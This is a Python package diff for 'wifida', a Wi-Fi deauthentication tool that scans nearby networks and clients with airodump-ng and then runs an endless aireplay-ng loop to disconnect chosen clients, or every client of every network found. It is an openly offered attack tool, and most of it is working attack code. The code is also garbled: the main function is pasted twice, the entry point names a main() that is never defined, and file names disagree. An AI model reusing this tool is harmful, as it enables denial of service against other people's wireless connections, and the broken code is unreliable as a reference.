wifida 0.0.3__tar.gz

wifida-0.0.3/PKG-INFO

@@ -0,0 +1,18 @@
+Metadata-Version: 2.4
+Name: wifida
+Version: 0.0.3
+Summary: wifi deauth tool
+Author: ssskingsss12
+Author-email: smalls3000i@gmail.com
+Classifier: Programming Language :: Python :: 2
+Requires-Python: >=2.7
+Description-Content-Type: text/markdown
+Dynamic: author
+Dynamic: author-email
+Dynamic: classifier
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: requires-python
+Dynamic: summary
+
+Run the script using bhp_pro follow the on screen instructions for the first time installing, after install  it will take you to the main menu, the script is 40 tools combined

wifida-0.0.3/README.md

@@ -0,0 +1 @@
+Run the script using bhp_pro follow the on screen instructions for the first time installing, after install  it will take you to the main menu, the script is 40 tools combined

wifida-0.0.3/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

wifida-0.0.3/setup.py

@@ -0,0 +1,22 @@
+from setuptools import setup
+
+setup(
+    name='wifida',  # Lowercase, unique on PyPI
+    version='0.0.3',
+    py_modules=['wifida'],  # Matches your filename
+    entry_points={
+        'console_scripts': [
+            'wifida = wifida:main',  # CLI command: maps to bhp_pro.py:main()
+        ],
+    },
+    author='ssskingsss12',
+    author_email='smalls3000i@gmail.com',
+    description='wifi deauth tool',
+    long_description=open('README.md').read(),
+    long_description_content_type='text/markdown',
+    classifiers=[
+        'Programming Language :: Python :: 2',
+    ],
+    python_requires='>=2.7',
+)
+

wifida-0.0.3/wifida.egg-info/PKG-INFO

@@ -0,0 +1,18 @@
+Metadata-Version: 2.4
+Name: wifida
+Version: 0.0.3
+Summary: wifi deauth tool
+Author: ssskingsss12
+Author-email: smalls3000i@gmail.com
+Classifier: Programming Language :: Python :: 2
+Requires-Python: >=2.7
+Description-Content-Type: text/markdown
+Dynamic: author
+Dynamic: author-email
+Dynamic: classifier
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: requires-python
+Dynamic: summary
+
+Run the script using bhp_pro follow the on screen instructions for the first time installing, after install  it will take you to the main menu, the script is 40 tools combined

wifida-0.0.3/wifida.egg-info/SOURCES.txt

@@ -0,0 +1,8 @@
+README.md
+setup.py
+wifida.py
+wifida.egg-info/PKG-INFO
+wifida.egg-info/SOURCES.txt
+wifida.egg-info/dependency_links.txt
+wifida.egg-info/entry_points.txt
+wifida.egg-info/top_level.txt

wifida-0.0.3/wifida.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

wifida-0.0.3/wifida.egg-info/entry_points.txt

@@ -0,0 +1,2 @@
+[console_scripts]
+wifida = wifida:main

wifida-0.0.3/wifida.egg-info/top_level.txt

@@ -0,0 +1 @@
+wifida

wifida-0.0.3/wifida.py

@@ -0,0 +1,785 @@
+# -*- coding: utf-8 -*-
+def wifi_deauth():
+    import os
+    import subprocess
+    import csv
+    import signal
+    import time
+    import ctypes
+
+    print('''
+
+    ██╗    ██╗██╗███████╗██╗                                                                
+    ██║    ██║██║██╔════╝██║                                                                
+    ██║ █╗ ██║██║█████╗  ██║                                                                
+    ██║███╗██║██║██╔══╝  ██║                                                                
+    ╚███╔███╔╝██║██║     ██║                                                                
+    ╚══╝╚══╝ ╚═╝╚═╝     ╚═╝                                                                
+                                                                                            
+    █████╗ ██████╗  ██████╗ ███╗   ███╗██╗███╗   ██╗ █████╗ ████████╗██╗ ██████╗ ███╗   ██╗
+    ██╔══██╗██╔══██╗██╔═══██╗████╗ ████║██║████╗  ██║██╔══██╗╚══██╔══╝██║██╔═══██╗████╗  ██║
+    ███████║██████╔╝██║   ██║██╔████╔██║██║██╔██╗ ██║███████║   ██║   ██║██║   ██║██╔██╗ ██║
+    ██╔══██║██╔══██╗██║   ██║██║╚██╔╝██║██║██║╚██╗██║██╔══██║   ██║   ██║██║   ██║██║╚██╗██║
+    ██║  ██║██████╔╝╚██████╔╝██║ ╚═╝ ██║██║██║ ╚████║██║  ██║   ██║   ██║╚██████╔╝██║ ╚████║
+    ╚═╝  ╚═╝╚═════╝  ╚═════╝ ╚═╝     ╚═╝╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝   ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═══╝
+                                                                                            
+    made by ssskingsss12 
+
+    use with caution
+    help option soon come!!!
+    ''')
+
+    # Constants
+    MENU_OPTIONS = {
+        "1": "Toggle Monitor Mode",
+        "2": "Scan Networks and Clients",
+        "3": "Perform Deauthentication Attack",
+        "4": "help",
+        "5": "Exit",
+    }
+    
+    # Signal handling
+    def signal_handler(sig, frame):
+        print("\n[+] Returning to menu...")
+        raise KeyboardInterrupt
+    signal.signal(signal.SIGINT, signal_handler)
+
+    def run_command(command):
+        """Python 2.7 compatible command runner"""
+        try:
+            process = subprocess.Popen(command, shell=True, 
+                                      stdout=subprocess.PIPE, 
+                                      stderr=subprocess.PIPE)
+            stdout, stderr = process.communicate()
+            return stdout.strip(), stderr.strip()
+        except Exception as e:
+            return "", str(e)
+
+    def is_wsl():
+        """Detect if running inside Windows Subsystem for Linux."""
+        output, _ = run_command("uname -a")
+        return "microsoft" in output.lower()
+
+    def list_network_adapters():
+        print("[+] Detecting wireless network adapters...")
+        adapters = []
+
+        # --- 1️⃣ Check if running under WSL
+        if is_wsl():
+            print("[!] Detected Windows Subsystem for Linux (WSL).")
+            print("    Wi-Fi adapters cannot be directly accessed from WSL.")
+            print("    Please run this script on native Linux or attach a USB Wi-Fi adapter.")
+            return adapters
+
+        # --- 2️⃣ Try normal detection first
+        output, error = run_command("iw dev")
+        if output:
+            for line in output.splitlines():
+                if line.strip().startswith("Interface"):
+                    name = line.split()[1]
+                    adapters.append((name, ""))
+            if adapters:
+                print("[+] Found wireless adapters via iw: {}".format([a[0] for a in adapters]))
+                return adapters
+
+        print("[!] No adapters found via 'iw dev'. Attempting recovery...")
+
+        # --- 3️⃣ Try to unblock and bring interfaces up
+        print("[*] Running rfkill unblock all ...")
+        run_command("sudo rfkill unblock all")
+
+        print("[*] Bringing up possible wireless interfaces ...")
+        output, _ = run_command("ip link show")
+        for line in output.splitlines():
+            if "wl" in line:  # likely a wireless adapter
+                name = line.split(":")[1].strip()
+                run_command("sudo ip link set {} up".format(name))
+
+        # --- 4️⃣ Retry iw dev
+        output, error = run_command("iw dev")
+        if output:
+            for line in output.splitlines():
+                if line.strip().startswith("Interface"):
+                    name = line.split()[1]
+                    adapters.append((name, ""))
+            if adapters:
+                print("[+] Found wireless adapters after recovery: {}".format([a[0] for a in adapters]))
+                return adapters
+
+        # --- 5️⃣ Final fallback to ip link
+        output, error = run_command("ip -o link show")
+        if output:
+            for line in output.splitlines():
+                if "wl" in line:  # still only take wireless
+                    name = line.split(":")[1].strip()
+                    adapters.append((name, ""))
+            if adapters:
+                print("[*] Found wireless interfaces via ip link: {}".format([a[0] for a in adapters]))
+                return adapters
+
+        print("[!] No wireless adapters detected after all attempts.")
+        print("    Try manually unblocking or reconnecting your Wi-Fi adapter.")
+        return adapters
+
+    def set_monitor_mode(interface, enable):
+        """Toggle monitor mode on the specified interface."""
+        mode = "monitor" if enable else "managed"
+        print("[+] Setting {} to {} mode...".format(interface, mode))
+
+        commands = []
+        if enable:
+            commands = [
+                "sudo ip link set {} down".format(interface),
+                "sudo iw dev {} set type monitor".format(interface),
+                "sudo ip link set {} up".format(interface),
+                "sudo iw dev {} set channel 1".format(interface)
+            ]
+        else:
+            commands = [
+                "sudo ip link set {} down".format(interface),
+                "sudo iw dev {} set type managed".format(interface),
+                "sudo ip link set {} up".format(interface)
+            ]
+
+        for cmd in commands:
+            if cmd:
+                output, error = run_command(cmd)
+                if error:
+                    print("[!] Error running '{}': {}".format(cmd, error))
+
+        print("[+] {} mode set on {}.".format(mode.capitalize(), interface))
+
+    def parse_csv(file_path, is_client_scan=False):
+        if not os.path.exists(file_path):
+            print("[!] CSV file {} not found.".format(file_path))
+            return []
+        
+        results = []
+        with open(file_path, "r") as file:
+            reader = csv.reader(file)
+            for row in reader:
+                if is_client_scan:
+                    if len(row) > 0 and row[0].strip():
+                        results.append(row[0].strip())  # Station MAC
+                else:
+                    if len(row) >= 14:
+                        bssid = row[0].strip()
+                        signal = row[8].strip()
+                        channel = row[3].strip()
+                        ssid = row[13].strip()
+                        results.append((bssid, signal, channel, ssid))
+        return results
+
+    def scan_networks_and_clients(interface):
+        # Step 1: Scan for networks
+        print("[+] Scanning for networks on {}...".format(interface))
+        network_output_file = "network_scan"
+        run_command("sudo timeout 15 airodump-ng {} --output-format csv -w {}".format(interface, network_output_file))
+        network_csv = "{}-01.csv".format(network_output_file)
+        networks = parse_csv(network_csv)
+
+        if not networks:
+            print("[!] No networks found.")
+            return
+
+        # Step 2: Scan for clients on each network
+        clients_data = {}
+        for bssid, signal, channel, ssid in networks:
+            print("[+] Scanning clients for SSID: {}, BSSID: {}, Channel: {}...".format(ssid, bssid, channel))
+            client_output_file = "client_scan"
+            run_command("sudo timeout 10 airodump-ng --bssid {} -c {} {} --output-format csv -w {}".format(bssid, channel, interface, client_output_file))
+            client_csv = "{}-01.csv".format(client_output_file)
+            clients = parse_csv(client_csv, is_client_scan=True)
+            clients_data[bssid] = clients
+
+            print("  [>] Found {} clients for BSSID {}.".format(len(clients), bssid))
+
+        # Step 3: Save results
+        save_results(networks, clients_data)
+
+    def save_results(networks, clients_data):
+        with open("scan_results.csv", "w") as file:
+            file.write("Networks:\n")
+            for bssid, signal, channel, ssid in networks:
+                file.write("SSID: {}, BSSID: {}, Channel: {}, Signal: {}\n".format(ssid, bssid, channel, signal))
+
+            file.write("\nClients:\n")
+            for bssid, clients in clients_data.items():
+                file.write("BSSID: {}, Clients: {}\n".format(bssid, ', '.join(clients)))
+
+        print("[+] Results saved to scan_results.txt.")
+
+    def deauth_attack(interface, bssid, clients):
+        if not clients:
+            print("[!] No clients to deauthenticate.")
+            return
+
+        print("[+] Starting deauthentication attack on {} clients. Press Ctrl+C to stop.".format(len(clients)))
+        try:
+            while True:
+                for client in clients:
+                    print("[+] Deauthenticating client {}...".format(client))
+                    run_command("sudo aireplay-ng -0 0 -a {} -c {} {}".format(bssid, client, interface))
+                # Add a small delay to avoid overwhelming the system
+                time.sleep(2)
+        except KeyboardInterrupt:
+            print("\n[+] Deauthentication attack stopped.")
+
+    # Network data parsing
+    def parse_network_data(file_name):
+        networks = {}
+
+        try:
+            with open(file_name, 'r') as file:
+                lines = file.readlines()
+                for line in lines:
+                    line = line.strip()
+
+                    # Skip empty lines
+                    if not line:
+                        continue
+
+                    # Parse lines with the expected format
+                    if line.startswith("BSSID:"):
+                        try:
+                            parts = line.split(", Clients:")
+                            bssid = parts[0].split("BSSID:")[1].strip()
+
+                            # Handle case where no clients are listed
+                            clients = []
+                            if len(parts) > 1:
+                                clients = [client.strip() for client in parts[1].split(",")]
+
+                            networks[bssid] = clients
+                        except (IndexError, ValueError) as e:
+                            print("[!] Error parsing line: {} - {}".format(line, e))
+                            continue
+        except IOError:
+            print("[!] File not found: {}".format(file_name))
+        except Exception as e:
+            print("[!] Unexpected error while reading file: {}".format(e))
+
+        return networks
+
+    def is_admin():
+        if os.name == 'nt':
+            return ctypes.windll.shell32.IsUserAnAdmin() != 0
+        else:
+            return os.geteuid() == 0
+
+    def help_menu():
+        def help_out():
+            hh1 = ''' this script is a tool 
+            used for deauthing wifi users
+            '''
+            print(hh1)
+
+        def help_main():
+            choice = raw_input("enter your input")  # Changed to raw_input for Python 2
+            if choice == "1":
+                help_out()
+                time.sleep(10)
+                os.system('cls' if os.name == 'nt' else 'clear')
+            else:
+                os.system('cls' if os.name == 'nt' else 'clear')
+
+        help_main()
+
+    def mainkio():
+        if not is_admin():
+            print("[!] This script must be run as root!")
+            return
+        bssid = "" 
+        clients = []
+        adapter = 'wlan0mon'
+        while True:
+            print("\nWi-Fi Attack Tool")
+            for key, value in MENU_OPTIONS.items():
+                print("{}: {}".format(key, value))
+
+            choice = raw_input("Choose an option: ").strip()  # Changed to raw_input
+
+            if choice == "1":
+                adapters = list_network_adapters()
+                if not adapters:
+                    print("[!] No network adapters found.")
+                    continue
+
+                print("\n[+] Available network adapters:")
+                for i, (name, index) in enumerate(adapters, start=1):
+                    print(" {}. {} (Index: {})".format(i, name, index))
+
+                try:
+                    adapter_choice = int(raw_input("Select an adapter by number: ").strip())  # Changed to raw_input
+                    if adapter_choice < 1 or adapter_choice > len(adapters):
+                        print("[!] Invalid choice. Please try again.")
+                        continue
+
+                    adapter = adapters[adapter_choice - 1][0]
+                    mode = raw_input("Enable monitor mode? (y/n): ").strip().lower() == "y"  # Changed to raw_input
+                    set_monitor_mode(adapter, mode)
+                except ValueError:
+                    print("[!] Invalid input. Please enter a number.")
+
+            elif choice == "2":
+                if not adapter:
+                    print("[!] Please set an adapter first (Option 1).")
+                    continue
+                scan_networks_and_clients(adapter)
+
+            elif choice == "3":
+                file_name = raw_input("Enter the network data file name: ").strip()  # Changed to raw_input
+                networks = parse_network_data(file_name)
+                
+                if not networks:
+                    print("[!] No valid network data found in the file.")
+                    continue
+
+                print("[+] Networks found in the file:")
+                for index, (bssid, client_list) in enumerate(networks.items(), start=1):
+                    client_str = ', '.join(client_list) if client_list else 'No clients'
+                    print(" {}. BSSID: {}, Clients: {}".format(index, bssid, client_str))
+
+                action = raw_input("\n[+] Choose an action:\n"  # Changed to raw_input
+                            "  1. Select a specific BSSID to deauthenticate\n"
+                            "  2. Deauthenticate all BSSIDs and their clients\n"
+                            "Enter your choice (1/2): ").strip()
+
+                if action == "1":
+                    try:
+                        bssid_index = int(raw_input("Enter the number corresponding to the BSSID: ").strip())  # Changed to raw_input
+                        if bssid_index < 1 or bssid_index > len(networks):
+                            print("[!] Invalid choice. Please try again.")
+                            continue
+
+                        selected_bssid = list(networks.keys())[bssid_index - 1]
+                        clients = networks[selected_bssid]
+                        client_str = ', '.join(clients) if clients else 'No clients'
+                        print("[+] Selected BSSID: {} with clients: {}".format(selected_bssid, client_str))
+
+                        if not clients:
+                            print("[!] No clients to deauthenticate for this BSSID.")
+                            continue
+
+                        # Perform deauthentication attack for the selected BSSID
+                        deauth_attack(adapter, selected_bssid, clients)
+
+                    except ValueError:
+                        print("[!] Invalid input. Please enter a valid number.")
+
+                elif action == "2":
+                    print("[+] Deauthenticating all BSSIDs and their clients...")
+                    # Note: You may need to modify deauth_attack to handle multiple BSSIDs
+                    for bssid, clients in networks.items():
+                        if clients:
+                            deauth_attack(adapter, bssid, clients)
+
+                else:
+                    print("[!] Invalid action selected. Please choose 1 or 2.")
+
+            elif choice == "4":
+                help_menu()
+                
+            elif choice == "5":
+                print("[+] Exiting tool.")
+                break
+
+            else:
+                print("[!] Invalid choice. Please try again.")
+
+    mainkio()
+# -*- coding: utf-8 -*-
+def wifi_deauth():
+    import os
+    import subprocess
+    import csv
+    import signal
+    import time
+    import ctypes
+
+    print('''
+
+    ██╗    ██╗██╗███████╗██╗                                                                
+    ██║    ██║██║██╔════╝██║                                                                
+    ██║ █╗ ██║██║█████╗  ██║                                                                
+    ██║███╗██║██║██╔══╝  ██║                                                                
+    ╚███╔███╔╝██║██║     ██║                                                                
+    ╚══╝╚══╝ ╚═╝╚═╝     ╚═╝                                                                
+                                                                                            
+    █████╗ ██████╗  ██████╗ ███╗   ███╗██╗███╗   ██╗ █████╗ ████████╗██╗ ██████╗ ███╗   ██╗
+    ██╔══██╗██╔══██╗██╔═══██╗████╗ ████║██║████╗  ██║██╔══██╗╚══██╔══╝██║██╔═══██╗████╗  ██║
+    ███████║██████╔╝██║   ██║██╔████╔██║██║██╔██╗ ██║███████║   ██║   ██║██║   ██║██╔██╗ ██║
+    ██╔══██║██╔══██╗██║   ██║██║╚██╔╝██║██║██║╚██╗██║██╔══██║   ██║   ██║██║   ██║██║╚██╗██║
+    ██║  ██║██████╔╝╚██████╔╝██║ ╚═╝ ██║██║██║ ╚████║██║  ██║   ██║   ██║╚██████╔╝██║ ╚████║
+    ╚═╝  ╚═╝╚═════╝  ╚═════╝ ╚═╝     ╚═╝╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝   ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═══╝
+                                                                                            
+    made by ssskingsss12 
+
+    use with caution
+    help option soon come!!!
+    ''')
+
+    # Constants
+    MENU_OPTIONS = {
+        "1": "Toggle Monitor Mode",
+        "2": "Scan Networks and Clients",
+        "3": "Perform Deauthentication Attack",
+        "4": "help",
+        "5": "Exit",
+    }
+    
+    # Signal handling
+    def signal_handler(sig, frame):
+        print("\n[+] Returning to menu...")
+        raise KeyboardInterrupt
+    signal.signal(signal.SIGINT, signal_handler)
+
+    def run_command(command):
+        """Python 2.7 compatible command runner"""
+        try:
+            process = subprocess.Popen(command, shell=True, 
+                                      stdout=subprocess.PIPE, 
+                                      stderr=subprocess.PIPE)
+            stdout, stderr = process.communicate()
+            return stdout.strip(), stderr.strip()
+        except Exception as e:
+            return "", str(e)
+
+    def is_wsl():
+        """Detect if running inside Windows Subsystem for Linux."""
+        output, _ = run_command("uname -a")
+        return "microsoft" in output.lower()
+
+    def list_network_adapters():
+        print("[+] Detecting wireless network adapters...")
+        adapters = []
+
+        # --- 1️⃣ Check if running under WSL
+        if is_wsl():
+            print("[!] Detected Windows Subsystem for Linux (WSL).")
+            print("    Wi-Fi adapters cannot be directly accessed from WSL.")
+            print("    Please run this script on native Linux or attach a USB Wi-Fi adapter.")
+            return adapters
+
+        # --- 2️⃣ Try normal detection first
+        output, error = run_command("iw dev")
+        if output:
+            for line in output.splitlines():
+                if line.strip().startswith("Interface"):
+                    name = line.split()[1]
+                    adapters.append((name, ""))
+            if adapters:
+                print("[+] Found wireless adapters via iw: {}".format([a[0] for a in adapters]))
+                return adapters
+
+        print("[!] No adapters found via 'iw dev'. Attempting recovery...")
+
+        # --- 3️⃣ Try to unblock and bring interfaces up
+        print("[*] Running rfkill unblock all ...")
+        run_command("sudo rfkill unblock all")
+
+        print("[*] Bringing up possible wireless interfaces ...")
+        output, _ = run_command("ip link show")
+        for line in output.splitlines():
+            if "wl" in line:  # likely a wireless adapter
+                name = line.split(":")[1].strip()
+                run_command("sudo ip link set {} up".format(name))
+
+        # --- 4️⃣ Retry iw dev
+        output, error = run_command("iw dev")
+        if output:
+            for line in output.splitlines():
+                if line.strip().startswith("Interface"):
+                    name = line.split()[1]
+                    adapters.append((name, ""))
+            if adapters:
+                print("[+] Found wireless adapters after recovery: {}".format([a[0] for a in adapters]))
+                return adapters
+
+        # --- 5️⃣ Final fallback to ip link
+        output, error = run_command("ip -o link show")
+        if output:
+            for line in output.splitlines():
+                if "wl" in line:  # still only take wireless
+                    name = line.split(":")[1].strip()
+                    adapters.append((name, ""))
+            if adapters:
+                print("[*] Found wireless interfaces via ip link: {}".format([a[0] for a in adapters]))
+                return adapters
+
+        print("[!] No wireless adapters detected after all attempts.")
+        print("    Try manually unblocking or reconnecting your Wi-Fi adapter.")
+        return adapters
+
+    def set_monitor_mode(interface, enable):
+        """Toggle monitor mode on the specified interface."""
+        mode = "monitor" if enable else "managed"
+        print("[+] Setting {} to {} mode...".format(interface, mode))
+
+        commands = []
+        if enable:
+            commands = [
+                "sudo ip link set {} down".format(interface),
+                "sudo iw dev {} set type monitor".format(interface),
+                "sudo ip link set {} up".format(interface),
+                "sudo iw dev {} set channel 1".format(interface)
+            ]
+        else:
+            commands = [
+                "sudo ip link set {} down".format(interface),
+                "sudo iw dev {} set type managed".format(interface),
+                "sudo ip link set {} up".format(interface)
+            ]
+
+        for cmd in commands:
+            if cmd:
+                output, error = run_command(cmd)
+                if error:
+                    print("[!] Error running '{}': {}".format(cmd, error))
+
+        print("[+] {} mode set on {}.".format(mode.capitalize(), interface))
+
+    def parse_csv(file_path, is_client_scan=False):
+        if not os.path.exists(file_path):
+            print("[!] CSV file {} not found.".format(file_path))
+            return []
+        
+        results = []
+        with open(file_path, "r") as file:
+            reader = csv.reader(file)
+            for row in reader:
+                if is_client_scan:
+                    if len(row) > 0 and row[0].strip():
+                        results.append(row[0].strip())  # Station MAC
+                else:
+                    if len(row) >= 14:
+                        bssid = row[0].strip()
+                        signal = row[8].strip()
+                        channel = row[3].strip()
+                        ssid = row[13].strip()
+                        results.append((bssid, signal, channel, ssid))
+        return results
+
+    def scan_networks_and_clients(interface):
+        # Step 1: Scan for networks
+        print("[+] Scanning for networks on {}...".format(interface))
+        network_output_file = "network_scan"
+        run_command("sudo timeout 15 airodump-ng {} --output-format csv -w {}".format(interface, network_output_file))
+        network_csv = "{}-01.csv".format(network_output_file)
+        networks = parse_csv(network_csv)
+
+        if not networks:
+            print("[!] No networks found.")
+            return
+
+        # Step 2: Scan for clients on each network
+        clients_data = {}
+        for bssid, signal, channel, ssid in networks:
+            print("[+] Scanning clients for SSID: {}, BSSID: {}, Channel: {}...".format(ssid, bssid, channel))
+            client_output_file = "client_scan"
+            run_command("sudo timeout 10 airodump-ng --bssid {} -c {} {} --output-format csv -w {}".format(bssid, channel, interface, client_output_file))
+            client_csv = "{}-01.csv".format(client_output_file)
+            clients = parse_csv(client_csv, is_client_scan=True)
+            clients_data[bssid] = clients
+
+            print("  [>] Found {} clients for BSSID {}.".format(len(clients), bssid))
+
+        # Step 3: Save results
+        save_results(networks, clients_data)
+
+    def save_results(networks, clients_data):
+        with open("scan_results.csv", "w") as file:
+            file.write("Networks:\n")
+            for bssid, signal, channel, ssid in networks:
+                file.write("SSID: {}, BSSID: {}, Channel: {}, Signal: {}\n".format(ssid, bssid, channel, signal))
+
+            file.write("\nClients:\n")
+            for bssid, clients in clients_data.items():
+                file.write("BSSID: {}, Clients: {}\n".format(bssid, ', '.join(clients)))
+
+        print("[+] Results saved to scan_results.txt.")
+
+    def deauth_attack(interface, bssid, clients):
+        if not clients:
+            print("[!] No clients to deauthenticate.")
+            return
+
+        print("[+] Starting deauthentication attack on {} clients. Press Ctrl+C to stop.".format(len(clients)))
+        try:
+            while True:
+                for client in clients:
+                    print("[+] Deauthenticating client {}...".format(client))
+                    run_command("sudo aireplay-ng -0 0 -a {} -c {} {}".format(bssid, client, interface))
+                # Add a small delay to avoid overwhelming the system
+                time.sleep(2)
+        except KeyboardInterrupt:
+            print("\n[+] Deauthentication attack stopped.")
+
+    # Network data parsing
+    def parse_network_data(file_name):
+        networks = {}
+
+        try:
+            with open(file_name, 'r') as file:
+                lines = file.readlines()
+                for line in lines:
+                    line = line.strip()
+
+                    # Skip empty lines
+                    if not line:
+                        continue
+
+                    # Parse lines with the expected format
+                    if line.startswith("BSSID:"):
+                        try:
+                            parts = line.split(", Clients:")
+                            bssid = parts[0].split("BSSID:")[1].strip()
+
+                            # Handle case where no clients are listed
+                            clients = []
+                            if len(parts) > 1:
+                                clients = [client.strip() for client in parts[1].split(",")]
+
+                            networks[bssid] = clients
+                        except (IndexError, ValueError) as e:
+                            print("[!] Error parsing line: {} - {}".format(line, e))
+                            continue
+        except IOError:
+            print("[!] File not found: {}".format(file_name))
+        except Exception as e:
+            print("[!] Unexpected error while reading file: {}".format(e))
+
+        return networks
+
+    def is_admin():
+        if os.name == 'nt':
+            return ctypes.windll.shell32.IsUserAnAdmin() != 0
+        else:
+            return os.geteuid() == 0
+
+    def help_menu():
+        def help_out():
+            hh1 = ''' this script is a tool 
+            used for deauthing wifi users
+            '''
+            print(hh1)
+
+        def help_main():
+            choice = raw_input("enter your input")  # Changed to raw_input for Python 2
+            if choice == "1":
+                help_out()
+                time.sleep(10)
+                os.system('cls' if os.name == 'nt' else 'clear')
+            else:
+                os.system('cls' if os.name == 'nt' else 'clear')
+
+        help_main()
+
+    def mainkio():
+        if not is_admin():
+            print("[!] This script must be run as root!")
+            return
+        bssid = "" 
+        clients = []
+        adapter = 'wlan0mon'
+        while True:
+            print("\nWi-Fi Attack Tool")
+            for key, value in MENU_OPTIONS.items():
+                print("{}: {}".format(key, value))
+
+            choice = raw_input("Choose an option: ").strip()  # Changed to raw_input
+
+            if choice == "1":
+                adapters = list_network_adapters()
+                if not adapters:
+                    print("[!] No network adapters found.")
+                    continue
+
+                print("\n[+] Available network adapters:")
+                for i, (name, index) in enumerate(adapters, start=1):
+                    print(" {}. {} (Index: {})".format(i, name, index))
+
+                try:
+                    adapter_choice = int(raw_input("Select an adapter by number: ").strip())  # Changed to raw_input
+                    if adapter_choice < 1 or adapter_choice > len(adapters):
+                        print("[!] Invalid choice. Please try again.")
+                        continue
+
+                    adapter = adapters[adapter_choice - 1][0]
+                    mode = raw_input("Enable monitor mode? (y/n): ").strip().lower() == "y"  # Changed to raw_input
+                    set_monitor_mode(adapter, mode)
+                except ValueError:
+                    print("[!] Invalid input. Please enter a number.")
+
+            elif choice == "2":
+                if not adapter:
+                    print("[!] Please set an adapter first (Option 1).")
+                    continue
+                scan_networks_and_clients(adapter)
+
+            elif choice == "3":
+                file_name = raw_input("Enter the network data file name: ").strip()  # Changed to raw_input
+                networks = parse_network_data(file_name)
+                
+                if not networks:
+                    print("[!] No valid network data found in the file.")
+                    continue
+
+                print("[+] Networks found in the file:")
+                for index, (bssid, client_list) in enumerate(networks.items(), start=1):
+                    client_str = ', '.join(client_list) if client_list else 'No clients'
+                    print(" {}. BSSID: {}, Clients: {}".format(index, bssid, client_str))
+
+                action = raw_input("\n[+] Choose an action:\n"  # Changed to raw_input
+                            "  1. Select a specific BSSID to deauthenticate\n"
+                            "  2. Deauthenticate all BSSIDs and their clients\n"
+                            "Enter your choice (1/2): ").strip()
+
+                if action == "1":
+                    try:
+                        bssid_index = int(raw_input("Enter the number corresponding to the BSSID: ").strip())  # Changed to raw_input
+                        if bssid_index < 1 or bssid_index > len(networks):
+                            print("[!] Invalid choice. Please try again.")
+                            continue
+
+                        selected_bssid = list(networks.keys())[bssid_index - 1]
+                        clients = networks[selected_bssid]
+                        client_str = ', '.join(clients) if clients else 'No clients'
+                        print("[+] Selected BSSID: {} with clients: {}".format(selected_bssid, client_str))
+
+                        if not clients:
+                            print("[!] No clients to deauthenticate for this BSSID.")
+                            continue
+
+                        # Perform deauthentication attack for the selected BSSID
+                        deauth_attack(adapter, selected_bssid, clients)
+
+                    except ValueError:
+                        print("[!] Invalid input. Please enter a valid number.")
+
+                elif action == "2":
+                    print("[+] Deauthenticating all BSSIDs and their clients...")
+                    # Note: You may need to modify deauth_attack to handle multiple BSSIDs
+                    for bssid, clients in networks.items():
+                        if clients:
+                            deauth_attack(adapter, bssid, clients)
+
+                else:
+                    print("[!] Invalid action selected. Please choose 1 or 2.")
+
+            elif choice == "4":
+                help_menu()
+                
+            elif choice == "5":
+                print("[+] Exiting tool.")
+                break
+
+            else:
+                print("[!] Invalid choice. Please try again.")
+
+    mainkio()
+
+
+if __name__ == "__main__":
+    wifi_deauth()
+wifi_deauth()